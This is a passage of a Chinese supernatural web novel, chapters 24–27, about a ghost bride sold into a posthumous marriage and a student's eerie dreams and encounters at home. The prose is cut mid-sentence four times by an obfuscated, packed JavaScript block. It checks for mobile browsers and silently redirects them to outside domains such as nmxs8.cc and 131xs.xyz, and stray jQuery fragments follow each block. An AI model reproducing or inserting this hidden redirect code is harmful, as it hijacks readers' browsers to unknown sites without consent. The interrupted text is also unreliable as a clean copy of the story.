“她就是……永吉王的小女儿,族谱上写着……”
“永吉王的女儿确实有个叫胡惜灵的,可若她并非胡惜灵呢?”
吱呀一声响,木门再次被推开了。师寂明走进屋内,这一次所有人和鬼都看到了他。重伤的周明玉眼中突然迸发出希冀的光,可反应更奇怪的还是那个道士,他大惊失色地倒退几步,看着师寂明的目光竟然比对女鬼还要恐惧。
“师寂明?!你怎么会在这里?!”
“好久不见,黄柏川,没想到你还在到处招摇撞骗。”
“你?!我可是玄门正统传人,怎么会是你这种……”
黄柏川面现恼怒之色,他骄矜地想要贬低师寂明,可却好像突然想起了什么,把剩下的话生生压了下去。他又举起了那把桃木剑,只是这次却对着师寂明,好像他比屋里的那个女鬼还要让人忌惮一样。
“黄仙师,你说什么,他不是……”周明玉困惑地看着面前的两人,他完全不明白,明明那个可怕的女鬼还在屋里,可自从师寂明进来以后,为什么焦点好像就变成了这个半吊子神棍。
“闭嘴!你这个蠢货!”黄柏川猛地调转矛头,怒吼道,好像是把面对师寂明时压抑的忌惮全部变成了愤怒发泄出来,“你认识这个……这个人,为什么不告诉我?!”
“可他是个心理医生……啊!!!你不要过来!!!”
三个人僵持的时候,女鬼已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388509|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经再次动了起来。而且动作比刚才敏捷得多,一瞬间就已经来到了周明玉面前。她再次高高举起了手,惨白的骨茬闪着金属一样的寒光,眼看就要刺穿周明玉的胸膛。
刷!
师寂明手中的黑伞打开,看似和油纸一样的伞面却轻松挡下女鬼的攻击。
“你找错人了,他不是胡丰年。”他对女鬼说道。
“你……她是……”
师寂明并没有理会房间里另外两人的震惊,他捡起刚才被打翻的碗,重新把筷子笔直插到剩下的半碗米上,低声念着一个名字:“涂秋芳。”
第一声念出,女鬼就停止了动作。
“涂秋芳。”
女鬼缓慢转过头,那张腐烂的脸正对着师寂明,明明已经做不出表情了,可曲通幽却在她身上突然感受到了强烈的哀伤。
“涂秋芳。”
插在米饭上的筷子顶端,突然缭绕起一团袅袅白烟,就像是灵魂开始聚集准备用餐了一样。
刚才被师寂明的气场压到角落的黄柏川突然眼前一亮,嚷道:“我就说了不是我的问题,那个蠢货把鬼的名字都搞错了!我……”
“自称玄门中人,却连自己要超度的是谁都搞不清楚,只看钱财行事,助纣为虐……你还记得你姑姥是谁吗?”
师寂明轻飘飘看了他一眼,那道士顿时就像被掐住了脖子的鸡一样,涨紫了一张脸说不出话来。
“涂秋芳。”
屋子里忽然吹来了一阵风。女鬼的身体被这风一吹,突然快速溶解起来。皮脱骨烂,原本空气中只有一点的腐臭味突然浓郁到让人无法忍受。很快,原本手臂硬的像钢筋一样的女鬼就变得只剩一件破破烂烂的红嫁衣。
呼——
那阵风最后把嫁衣也刮了起来,它从门口飘出去,在雨幕中也依然翩跹飘摇,屋里人的目光追随着它,最后看到嫁衣挂在了一棵树的枝头上。
“那是……”
“那是王府‘宝藏’的所在地。”
“宝藏??可是我挖了——”
“这宝藏不是金银珠宝,只是一个客死他乡的冤魂罢了。”
“涂秋芳是谁?!我不认识她,我没有招惹过她啊!!”
“周先生,你不久之前刚刚回过寿城县吧?你调查了胡丰年的生平和他带着一箱‘宝藏’陪葬的消息,为什么都没有去查一下,他在寿城县‘成亲’了呢?”
“什么?!我……”
“因为你不关心这件事。因为在你眼中,女人并不算人,她们未婚的时候应该是娘家的血包,出嫁后就别总是想着回来,也别想分遗产。这样的女人,怎么会成为影响历史叙事的一部分,对吧?”
“你是说,那个涂秋芳,是胡丰年在寿城县的老婆?”
说这句话的是黄柏川,他倒是听出了点门道,看着外面树梢上那件悬挂的嫁衣的脸色也难看起来。
“准确地说,是他死后结的阴亲。”
24.024
“你胡说!胡丰年一生坦荡磊落,有勇有谋,是个真正的君子,怎么会做这种……你笑什么?”
“我笑你们这些酸腐文人,做学问不好好做,倒是在顾影自怜这件事上从古到今一以贯之。你怜惜胡丰年,难道不是觉得在他身上看到了自己的影子吗?你觉得他生错了家庭和时代,假若恰逢其会,像他那样的人,定能一飞冲天,为龙为虎,不就是觉得自己也生不逢时,凤凰蛋落在了山沟里吗?”
“……”
“不反驳了吗?也对,一直以来,你们都是这样想的。你,还有当初那些人都这样。所以你们这种人才会觉得胡丰年那种人死了都‘终身未娶’实在可惜,哪怕永吉王全家都没了,也觉得在地下要给他找个女人。所以,那些人盯上了当地的穷苦人家,找了个急着给儿子娶亲的人家,买走了他家的女儿。”
曲通幽忽然想起了师寂明在寿城县遇到的那个疯子。
干老头说,那个人的爷爷混到四十多才靠卖女儿娶了老婆。她当时只以为是换彩礼,可现在看来……卖的人到底是活的,还是死的?
好一个“家里出过王妃”,把女儿卖给一个死人陪葬,还拿这种事作为吹嘘的资本,这个有鬼的世界,不被找上门就怪了。
不过疯子的爹能顺利活到生了儿子长大,说明这个女鬼没有一直找他们,可能是因为……
刚想到这里,她就听师寂明又说道:“去吧,去把宝藏挖出来。”
“……我?我受了伤!而且你也说了那下面是……”
“我说了,去挖开它。”
师寂明一只手提起周明玉,强硬地掰开他的下巴,把一块土黄色的石头塞进了他嘴里。周明玉被憋得喘不过气来,可等咽下去之后,他的脸色竟然肉眼可见好了很多。
也许是因为师寂明这一手活死人肉白骨的手艺震到了周明玉,他虽然仍然能看出极其恐惧,可却没有再跟他分辩什么。而是拿起了门后的铁锨,冒着雨走出了门,来到了院内的大树下,一锨挖了下去。
潮湿而沉重的泥土一锨锨被铲出来,在旁边堆起了一座小山。周明玉的身影渐渐看不到了。倒是旁边那个道士小心翼翼蹭了过来,看起来想要趁师寂明不注意溜走。
“等等。”
“……我只是识人不清,可没做过什么亏心事。师先生,你没必要非要把我留在这吧?”
“你的死活自有老天管着,我便是想要留你一命,到了那时也留不住。我只是想问你,张静梧还活着吗?”
“姑姥她……前年已经去了。”
“是吗……葬在哪里了?”
“葬进张家祖坟了,她一直都想回去,我娘去求了我爷爷,总算是成行了。”
师寂明沉默许久,才叹了一声。
“回去也好……我记得张家还有个女儿的。”
“她也嫁进了黄家。可上一次见她还是二十多年前,她生了个女儿,叫雅兰。那之后……怕是也死了吧。”
“是么……这么说,张家已经一个人都没有了……”
……嗯???
嫁进了黄家,生了个女儿,叫雅兰……黄雅兰?
这不是那个吕一钧的小老婆,在飞蛾梦里面死于非命的那个女人吗?她和面前这个道士还是亲戚??
这两个梦的时间线到底隔了多久?黄家和张家又有什么关系??
曲通幽震惊地梳理着这其中的关系,只恨面前没有纸笔能让她好好列个亲属关系图。她没留意到师寂明语气中隐隐的哀伤,也没有注意到黄柏川悄悄溜走了。只知道当她回过神的时候,周明玉已经挖好了一个一人多深的大坑。
咚的一声沉闷声响,在黑夜里格外突兀。周明玉像是挖到了什么,那张满是雨水的脸上露出了一丝恐惧。他弯下腰想要把那东西捡起来,可就在这时,树梢上挂着的那件嫁衣却突然掉了下来,把他整个人都蒙在了下面。
“啊啊啊!!什么……不是我!我没对你做过什么啊!冤有头债有主,我带你去找胡丰年的墓,你找他去啊!!”
“挖出来了?来,去把里面的宝藏放进这个罐子里吧。”
“我……已经烂了……她……”
“只是骨殖而已,你怕什么?你做那些事的时候都不怕,现在怕涂秋芳,是担心自己做的那些事情被她发现吗?”
周明玉忽然闭上了嘴。他仍然在颤抖,但不知为何克服了恐惧,弯腰把土里的那些东西一块块捡出来。
雨下得更大了,啪啪打着屋檐,恍惚中就像一个人在疯狂地大笑。等周明玉把罐子递回给师寂明的时候,他的脸色苍白唇色血红,看起来已经有五分像是个疯子了。
“走吧,涂秋芳,我送你回家。”
“等等!这个女鬼,她算是……”
“你放心,你也说了,冤有头,债有主。涂秋芳的目的已经达成,她是不会再来找你了。”
“那就好,我……”
“但是,另外的人会不会找过来,我就不知道了。”
“……什么意思?”
“呵呵,周先生你不是很清楚吗?涂秋芳为什么会找上你?我早就问过你了,你有几个姐姐?”
“这和你没关系!!”
“是的,确实和我没关系。那我们就到寿城县再见了。”
“我不回去!我还要上学呢!谁要和你在那里见面?!”
“祝你合家幸福团圆。”
雨声渐渐远去。曲通幽也什么都看不见了。
耳边好像有风刮过,还有风铃的轻响。女孩银铃般的笑声和着风铃,弹珠一般跳跃而过。
“谢谢您,我要回家了。”
“不,不是回把我卖掉的那个家。我托好友在家乡给自己置了一套小屋子,就在兴安路上,您把我的尸骨带回那里就好。她百年之后也会来这里。”
“胡丰年?呵呵,我下来找到他的时候,就已经把他撕碎了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399642|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些人是怎么想的?在活着的时候把我害死,还指望我死了能端茶倒水伺候他?阴间的世界可不是他们说得算的。当初他拥兵自立意图称王,可是害死了不少人,就算没有我,那些人也是要对付他的。”
“师医生,你说什么时候,阳间也能和阴间一样讲道理,而不是等我冤死之后才能靠自己挣个公道?”
风铃声慢慢又变回了雨声。曲通幽看到了一座荒山,绵绵细雨中,一座孤坟坐落在山头上。坟上一块简陋石碑,上面刻着涂秋芳的名字。距离孤坟不远处则是一块还没有挖开的山地,上面摆着一块空白的墓碑。
天色渐渐黑下来,男人沿着小路走下山,来到了一座萧条的小山村里。
因为没通电,村庄到了晚上就显得格外寂静,村民们早早就睡了。曲通幽觉得这里有点像是之前那个王府大宅一入夜就感觉不到一点人气。
然而,一户人家门口却响起了敲门声。
“哎唷!是我们家宝玉回来了!怎么突然这时候回来?学校放假了吗?”
“嗯……”
“怎么不说话?是不是累了?三丫——三丫!你死哪去了?快给你哥哥做饭!”
“不用了,爸……你看我带谁回来了?”
“嗯?是不是你在大学找的对象……啊啊啊啊啊啊!!二丫?!二丫不是死了吗?!”
“二丫你别过来啊!!我是你亲娘!你不能……啊啊啊啊啊!!”
“嘻嘻……爸,妈,我就知道你们肯定会高兴。二姐路上都跟我说了,她嫁出去这么久,也没有回家尽孝,这次就是特意带我们去她婆家看看的。”
“三丫!三丫你快过来!!二丫,你要是在那边想家人了,就把你妹妹带过去吧……啊!!!”
“老头子!老头子啊——死丫头,你个不孝女,你是从我肚子里爬出来的,我把你嫁出去怎么了?!你弟弟要上大学,反正你都死了,就不能帮家里一点忙吗?!”
“二姐……”
“爸,妈,我都下去看过了,那边的屋子得修修。你们不是说三丫一个丫头片子,在家顶不了一点事吗?这次就不要她去了。票我都买好了,咱们走吧。你们不是说最爱我了吗?儿子就这么一个愿望,你们和我一起去吧。”
惊慌的叫喊声,碰撞声,在雨中传出去很远。但村里竟没有一个人听到。终于,伴着最后一声惨叫。屋子里彻底回归寂静。
许久之后,屋门吱呀一声被推开一条缝。一只黑白分明的眼睛警惕地往外望了几眼。在确定外面没有其他人之后,一个十几岁的小姑娘背着一个黑布小包,从屋里快速溜了出来。她踏着湿漉漉的泥地往远处跑去,远离了那栋黑乎乎的山村小屋,远离了山上的孤坟,身影消失在夜幕中。
她一次都没有回头。
风声雨声和着她的脚步声,像是在为她进行最后的送别。
当曲通幽伴着雨声睁开眼睛,发现窗外不知什么时候也下起了雨。
25.025
“幽幽,你写的这是什么啊?”
李乐瑶刚打完一个长达两小时的副本。她伸了个懒腰,站起来活动手腕的时候,偶然发现自己的舍友并不是坐在书桌前学习,而是在纸上抄写一些看不出是什么的字符。
一个像是扭曲的“尺”字,另外几个……嗯,不认识,连描述都描述不出来。
李乐瑶悚然:“你们考研还要研究这些东西吗?!简直恐怖如斯!”
“不是啦!这是我……呃,看漫画看到的几个符号,说是能保佑逢考必过,我就抄下来拜一拜。”曲通幽绞尽脑汁瞎编了一个借口。
“是这样啊!”李乐瑶肃然起敬,也跟着曲通幽对着奇怪符号拜了拜。
虽然她已经不打算考研了。
就在两天前,李乐瑶那位总裁妈妈帮她找了个博物馆研究员的工作,现在李乐瑶已经成为全寝室第一个彻底解放的人。
“这是克金体吧?”方君茹也凑了过来,问道。
“不是——等等,君茹你认识这些字?”曲通幽一下子来了精神。
距离她上次做那个夜半敲门的梦已经过去了五六天。曲通幽没有再做其他梦。但上次飞蛾梦之后的经历却让她不能放心——她总有种不祥的预感,仿佛她这个梦也会像之前一样在现实中出现。
所以为了在那一天到来时她拥有更厚的底牌,曲通幽这段时间就在研究梦里的那些字符。
那根文明杖上面的古怪字符少说也有数百个,可她能记得样子的也只有自己用过的那几个。其中几个能让她召唤出可以烧死飞蛾的火焰,另外一个则是可以让她进入特定人或者鬼的梦境。
曲通幽猜测,这些字符可能是一种语言,只要自己能掌握它,也许就能熟练运用梦里的师寂明的特殊能力。
只可惜这些天,她把那几个自己能记得的字符抄得滚瓜烂熟,却还是不知道它们是什么意思,更别提用出过特殊能力了。
现在看到方君茹竟然有可能认识,她怎么能不喜出望外?
方君茹拿了一本厚厚的书过来,指着上面的几个字对了一下,又迟疑道:“乍一看有点像这个字,但差别好像又有点大……”
她指着的也是个有点像“尺”的扭曲文字,只是扭的方式和她抄写的那个字不一样,就好像是同源的甲骨文,朝着不同的文明方向发展了一样。
这个字的意思是“人”。
曲通幽又翻了翻那本叫做《通用语嬗变考》的书。这是方君茹的课外读物。作为全系首屈一指的学霸,方君茹就连在考研的时候都有空去看这些在她看来可以当催眠枕头的东西。不过这一次,她倒是真的从里面找到了其他几个字。
和“人”比起来,另外几个字差别更大,曲通幽甚至不能确定自己找到的是不是准确,那几个字的意思分别是“火”“地”还有“影”。甚至不能组成她能理解的词。
“你别看这上面记录的字少,这是我最近读的关于语言嬗变最全的书了。”方君茹在一旁解说着,“语言的发展是一个漫长和曲折的过程。但是整体上遵循着语义上不断复杂、形体上简繁交替的规律。在那个时候,一个字的含义比我们现在含糊丰富得多。比如这个‘人’,我们现在一般指的是人类,但是在那个时候,它还可以代指更高一层的人演变成的东西,比如皇帝、鬼神、祖先……”
曲通幽默默听着方君茹的解说,心里也在不断思量着。
鬼神。
她梦到过的那些人,师寂明,丁健,都是跟鬼神牵扯颇深的人。这么看来,那些字符是克金体变种的可能性非常大。
等等……如果是这样的话,那她还进入过尹修景的梦呢,难道说这个满口唯物主义的警察,其实也经历过这种灵异事件?
“这本书能借我看看吗?”曲通幽问。
“可以啊!我已经看得差不多了。要是你看不完我再去图书馆给你续一个月。”方君茹很高兴。她是个爱读书的人,之前很多次给舍友推荐书目,这还是第一次得到回应。
“……都要放假了,你们也歇歇吧。”准学渣李乐瑶看得瑟瑟发抖。她拿起手机看了看时间,起身开始收拾东西。
“我妈的司机下午就来接我了,你们谁要蹭车一起走不?”
今天是九月三十日,明天就开始中秋假期了。连放七天,到时候学校里的流浪猫会惊讶地发现,平时轮流来宠爱它们的两脚兽都跑得见不到几个。
曲通幽家是本地的,从学校门口坐公交十几站,她也不用非蹭这个车,于是摇头拒绝。
方君茹也摇头:“我中秋节找了个咖啡店的兼职,三倍工资呢,就不出去了。”
“那好吧,我就直接走了。我妈也真是的,夏天不去避暑,到十月了非要去什么冰雪天地……”
李乐瑶嘴上抱怨着,脸上却满是幸福。
中秋假期,他们一家三口要去鹤城看冰展。难得的不是出门旅游,而是她那个总裁妈妈终于能抽出时间陪伴家人了。
李乐瑶哼着歌去收拾行李,方君茹却把曲通幽拉到了一边,她犹豫了一下,小声问道:“幽幽,你家旁边的庙假期开门不?”
“开啊,和尚又没有法定节假日。”
“那就好,我想放假去求个平安符。你知道的,之前那件事……我心里还有点怕。”
飞蛾的事情已经过去了半个多月,表面看起来宿舍里的人都已经恢复了日常生活。可实际上每个人都还有点心理阴影,秦琴这个铁娘子多了个怕虫子的毛病,方君茹则是再也不找家教类的兼职了。
“行啊,你几号来?到时候我带你找最灵验的大师。”
“4号吧,到时候我和同事换个班。谢谢你啦!”
“不客气,我也先走了,到时候联系!”
曲通幽回家就背着个书包。里面是几本只是用来装样子,多半还是会原样带回来的考研书。她溜溜哒哒走出学校,刚在公交站站定,忽然就敏感地回过头去。
——又来了。那种好像被什么冰冷的爬行类巨兽盯上的感觉。
这种感觉在做了飞蛾梦的那天就感受过,只是后来发生了方君茹的事情,她就以为是方君茹身上的鬼从那时候就盯上了她。
可是现在,丁健早就魂飞魄散,化阴虫的老巢都被掀了,为什么那目光还在?
曲通幽额头上渐渐渗出了一点冷汗。
她不敢随意动弹。经历了上一次在楼道里方君茹突然被丁健附
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411653|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体,她深知这种灵异类的东西是多么不可控。现在的自己还非常弱小,在不知道对面是什么之前,她不想让那东西知道自己已经发现它了。
她只能在心中默念着自己抄录下来的那些字符。让她惊喜的是,在她集中精神的时候,还真有一个字符颤悠悠从脑海中浮了出来。
是那个可能代表“人”的字符。
只是,还没等曲通幽紧张思考一个仅供入梦的特殊能力要如何在现在被盯上的时候保护她,这个还没成形的字符就像是气泡一样,啪地一下在她眼前破灭了。
曲通幽:……
现在有两种可能,一是她的能力不够或者场合不对,没办法随心所欲用出这种新掌握的特殊能力,还有一种就是……那盯着她的东西的力量远超出了字符能对付的东西的极限,所以才会还没成形就消失……
曲通幽终于没法再继续假装下去。她悄悄回了下头,却在看到一张熟悉的脸的时候瞬间僵住。
盯着她的目光好像消失了。
因为面前和她对上的目光威慑力要比任何鬼都要强。
“小……张老师好啊。”曲通幽挤出一个笑,强行把脱口而出的“小张”换了个称呼。
在拥挤的公交站台上,张桂芝身周半米内都没有一个学生,曲通幽猜测,可能是小张上学期仅仅因为平时分就连挂十八个学生的丰功伟绩已经传遍全校了。
张桂芝朝她点了点头,脸上看不到一点笑容。她看起来稍微思考了一下,然后喊出了她的名字:“你是……曲通幽?方君茹同学的舍友?”
“……是我,哈哈,老师你这也是回家去过中秋吗?”
曲通幽没想到小张还能记得她。联想到上次方君茹拙劣的请假被认了下来,曲通幽觉得张桂芝应该是非常看好方君茹,所以才会连她的舍友都记得。
“不是。”张桂芝摇头否认,“我就一个人,没必要过什么中秋节。”
曲通幽:……
她今天也不知道是不是不适合见老师,怎么净是哪壶不开提哪壶。
她记得之前听同学八卦过,小张今年五十多岁,却是未婚未育。她性格严肃,看起来就是把所有精力都扑在工作上的那种人。但毕竟也只是看起来而已。现在是中秋节,阖家团圆的日子,外人看不出来,可谁知道人家会不会因为佳节形单影只而内心难过呢?
曲通幽自小家庭和睦,反正在她看来这种情况是挺孤单的。
她被小张的一句话给尬住了,正不知道说什么好。万幸就在这时候,14路公交车缓缓开了过来,她连忙刑满释放一样,跟着人流就开始往前挤。
只是在上车之前,曲通幽还是回头看了一眼,当看到张桂芝那张板得一丝不苟的脸时,她还是犹豫了一下,又从人群里挤了出来。
她从书包里掏出个月饼,不等张桂芝反应过来,就径直塞到了她手里,同时喊了一句:“张老师,一个人的中秋节也要快快乐乐的啊!”
说完,不等她反应过来,又撤了回去,一溜烟挤进了公交车里。
透过车窗,她看到张桂芝盯着手里那个学校食堂统一派发的月饼,黑板一样平整沉肃的脸上好像被人写上了几笔出乎意料的板书。
26.026
“和光寺站到了,有下车的乘客请从后门下车……”
“幽幽回来啦?放假了吗?”
“赶快回家吧,我早上看到你爸给你买了一只大鹅,现在估计已经炖在锅里了。”
“幽幽,给,奶奶家刚摘的石榴,别看小,甜得很!带回去给你爸妈尝尝。”
曲通幽背着书包,穿过老街上的树荫,一路跟邻居们打着招呼,来到了自家的楼门前。
这是个建于上世纪七十年代的老钢铁厂家属院,至今已经五十多年了。尽管随着钢铁厂的倒闭和城市建设远离了市中心,可当初那些老街坊们并没有全部搬走,相反,随着这些年怀旧风潮的到来,这片仍然保留着上个世纪风貌的老街区烟火气越发繁盛。
曲通幽这批孩子是在上一代工厂工人的共同看护下成长起来的,这里的每一个老人都能叫出她的名字,曲通幽丝毫不怀疑,就在自己进入小区的时候,邻居们已经把她回家的消息告诉她爸妈了。
她住的这栋楼没有电梯。就在曲通幽吭哧吭哧爬到三层的时候,外面忽然传来了清淡的钟声。
那应该是隔壁的和光寺开饭的声音。
和光寺是一座至少有四百多年历史的古寺。历经数次战火和修缮,到现在已经被列入了本市重点文物保护单位。但因为和光寺在闹市区,所以这么多年来都没怎么扩大过,麻雀大小的一个小寺庙,哪怕在省内都不怎么出名,只有本市的人会来游览参拜,香火只能说是可以维持寺庙经营。
但和光寺的和尚们倒是对此安之若素。他们没什么野心,整日晨钟暮鼓参禅礼佛,有时候还会给周围的居民搞个俗讲之类的活动,帮忙写春联做灯笼,甚至还会用土方子治疗一下老人的腰腿疼痛。他们怡然自乐地融入凡尘烟火中,在曲通幽看来,这是真正的大隐隐于市。
她正踮着脚往窗外看大和尚们排队打饭,楼上的门突然吱呀一声被打开了。
一阵拖沓缓慢的脚步声往楼下靠过来,曲通幽一抬头就看到了一双黑麻麻的手工布鞋,暗红色的绣花棉袄上散落着几缕花白的头发。
“陈奶奶好。”曲通幽朝老人打着招呼。
“幽幽回来啦?你爸爸在家给你炖大鹅呢。”楼下邻居陈奶奶挎着个藤编菜篮子,笑眯眯朝她点头,“我也是要去买点好菜。慧妮这段时间不好好吃饭,净点外卖了。你说说外面做的那些东西哪有自己家的饭菜好?我可得做几天好的好好给她掰回来……”
老人家都有点唠叨的毛病,她也不指望曲通幽给她什么回应,兀自絮叨着就慢慢踱下了楼。
曲通幽掏出钥匙开了自家的门,还没打招呼,就已经闻到了一股浓郁的香味。
厨房里是铁锅炖大鹅,除此之外,桌上还摆着一盆刚炸好的肉丸子。曲通幽吸了吸鼻子,决定不能辜负从小受到的珍惜粮食的教育,趁丸子正酥脆,快速捏了一个塞进嘴里。
“……唔!”
她脑壳上不轻不重挨了一下,她亲娘夏女士的大嗓门在耳边震响:“洗手了没你就直接上手吃?”
曲通幽艰难地咽下嘴里的半个丸子,嬉笑道:“我就是帮你尝尝咸淡——妈你应该感谢有我这么捧场的女儿,楼下的陈奶奶都说了,她孙女不爱吃家里的饭天天点外卖,她还在头疼做什么好吃的能让慧慧在家多吃点呢!”
夏璇听了她的狡辩,却深深地皱起了眉。
“陈奶奶回来了?”她疑惑地问道,“你看见她了?”
“对啊。刚看到她下楼买菜了的。”
“奇了怪了……陈奶奶半个月前就病了啊,现在应该在住院才对,怎么会从家里去买菜?”夏璇奇怪地问道。
一阵战栗感从尾椎猛地窜上来,曲通幽只觉得手脚一瞬间变得冰凉。
“……住院了?怎么回事啊?严重吗?”她强作镇定问道。
“好像挺严重的,你田叔叔这段时间一直在医院陪床。剩下慧慧一个人在家里,可不就得经常点外卖吗——你别转移话题,你是不是根本没看到陈奶奶,为了个肉丸子骗我啊?”夏璇眯起眼睛看着女儿。
曲通幽却没心思再狡辩什么。她把书包往沙发上一扔,匆匆丢下一句“我去看看慧慧”就又冲出了家门,一溜烟跑到了四楼,砰砰拍着西户的防盗铁门。
她也知道自己这么做有点突兀了,听夏女士的意思,陈奶奶家里应该是没人的。可她就是想要确认一件事。
曲通幽啪啪拍了大概三分钟,里面那层铁门响了一下,居然从里面被打开了。
一个身材高大的女生站在门内,她的脸色有点不正常的苍白,两轮浓重的黑眼圈对着她:“小幽姐?”
曲通幽看着门内的女孩愣了好一会儿,才说道:“慧慧……你在家啊?”
田欣慧一边给她开门一边说道:“是啊,我今年没上辅导班,有家长把我们学校假期补课给举报了……小幽姐你这是提前放假啦?”
“今天下午没课,就先回来了。你……我听说了你家的事了。陈奶奶还好吗?”她试探着问。
田欣慧的目光微微黯淡了些:“奶奶她……不是太好。二十多天前,她突然脑梗发作。我们半夜把她送去医院,当天就进了ICU。现在虽然不在里面了,但是现在还没醒过来。医生说运气好的话也是手脚发抖,运气不好估计就……”
她的情绪低落,因此也就没注意到曲通幽如遭雷击的表情。
陈奶奶一直在医院!
那她刚才看到的下楼的人是谁?是……陈奶奶的魂魄吗?
啪,啪!
屋里突然响起什么东西落地的声音,惊醒了各自沉浸在思绪中的两个女生。
她们同时回头看去,只见门口的鞋架旁,有两只鞋子刚从架子上掉了下来。
那是一双麻黑色的布鞋,一只鞋底朝上一只鞋底朝下的,就在根本没有人靠近那里的情况下落到了地上。曲通幽看得清楚,那双鞋子正是刚才下楼的时候“陈奶奶”穿的鞋子。
“那是我奶奶的鞋子!”田欣慧也有点慌了,“怎么会突然掉下来?我奶奶……不会是出事了吧?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416209|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
A城本地有个迷信的说法,遇到什么没办法确定的事情可以通过问鞋子来得到答案。把两只鞋子一起抛上半空,等到落下来的时候,若是两只都鞋底朝下,那就说明这件事情平安顺利。若是一上一下,那就是前途未卜。如果两只都是鞋底朝上,那这件事情多半就凶多吉少了。
现在鞋子虽然显示的是前途未卜,可根本就没有人靠近鞋架,这到底是怎么回事?
两个女生都有点心里发毛,偏偏在这时,她们又听到了门外传来的敲门声。
嗒——嗒嗒——嗒。
那声音很轻,很急促,位置又偏下,说是敲门声,可正常人根本不会这样子敲门。两人都盯着紧闭的防盗门,却没有一个人有上前的意思。
声音顿了顿,又响起来。不屈不挠,锲而不舍。曲通幽咽了咽口水,终于是率先走出几步,伸手拉开了门。
这种老小区的门都是里外两层的那种防盗门。拉开里面的实心门,能看到外面的镂空金属防盗门。但是透过金属栏杆的缝隙,曲通幽却没在门外见到任何人。
那么,是谁在敲门?
她的心一沉再沉,可没想到,田欣慧却像是松了一口气一样,从屋里走出来,越过她直接推开了门。
“嗷!”
门被什么东西挡了一下,弹了回来,门外却传来一声愤怒的猫叫。
“果然是你啊,帮主。”田欣慧蹲下来,用手指戳了戳从门缝里露出来的橘色短毛的大肥屁股。脸上终于露出一点笑,“我说你下次上门讨饭能不能喵一声?就知道用你那爪子敲门,也不知道跟谁学的……”
看门被打开,被她戳屁股的大肥橘猫以一种和身材不匹配的敏捷一扭身挤了进来,理直气壮地扯着破锣嗓子呜嗷嗷地叫起饭来。
曲通幽也终于松了口气。
她认识这只胖橘,也是家属院里的老住户了。因为每天到处讨饭被赐名丐帮帮主。前年小区居民凑钱给它做了绝育,之后体重就朝着二十斤的方向一路狂奔。这么一只肥橘,能敲门敲出人的动静也不奇怪。
不过……
“帮主怎么现在上楼要饭了?以前不都是在院里要吗?”
田欣慧指了指对门:“那套空房上个月卖出去了,那家人外地来的,不清楚咱们院的情况。还以为帮主没人照管呢,就带上来喂了两次,然后它就无师自通……”
懂了。
橘猫在吃上总是有点天赋的,何况帮主猫老成精。恐怕它不但学会了上楼,连谁家住在哪都已经摸清楚了。
曲通幽看了看已经开始埋头大吃的帮主,只觉得自己想问的话都堵在了喉咙口。她叮嘱道:“慧慧,这几天我都在家里,你一个人多加小心。要是遇到了什么事情,别管什么时候,马上来找我。”
“嗯,我知道了,谢谢小幽姐。”
女孩很是感激地把她送出了门,只是她自始至终都没有意识到,曲通幽口中的帮忙并非单纯指的是家里的病人。
更有可能是家里可能存在的死人。
27.027
放假的第一天,曲通幽过得并不是很顺利。
中午享受完一顿丰盛的大餐,本来一家三口下午是准备去姥姥家的。结果下午两点多的时候,她爸曲振军接了个楼下的电话,穿上衣服就匆匆出去了。
电话是田叔叔打来的,他本来是在医院给陈奶奶陪床,但突然接到一件工作上的事情要他去处理。女儿还未成年不太靠得住,无奈之下只能托邻居帮他顶几个小时。
要是放在普通小区里,这行为当然冒昧,可家属院里的邻里关系是真的远亲不如近邻,曲振军和田欣慧她爸田志国更是打小一起玩到大,现在兄弟遇到了困难,曲振军当然是义不容辞就去了医院。
“要我说,最可怜的还是慧慧。她打小就没了妈,她爸工作又忙,一直都是陈奶奶把她带大的。现在陈奶奶又出了这种事……慧慧今年高三了吧?哎,偏偏是这种关键时刻……”夏璇一边在厨房倒腾腌菜坛子一边念叨着。
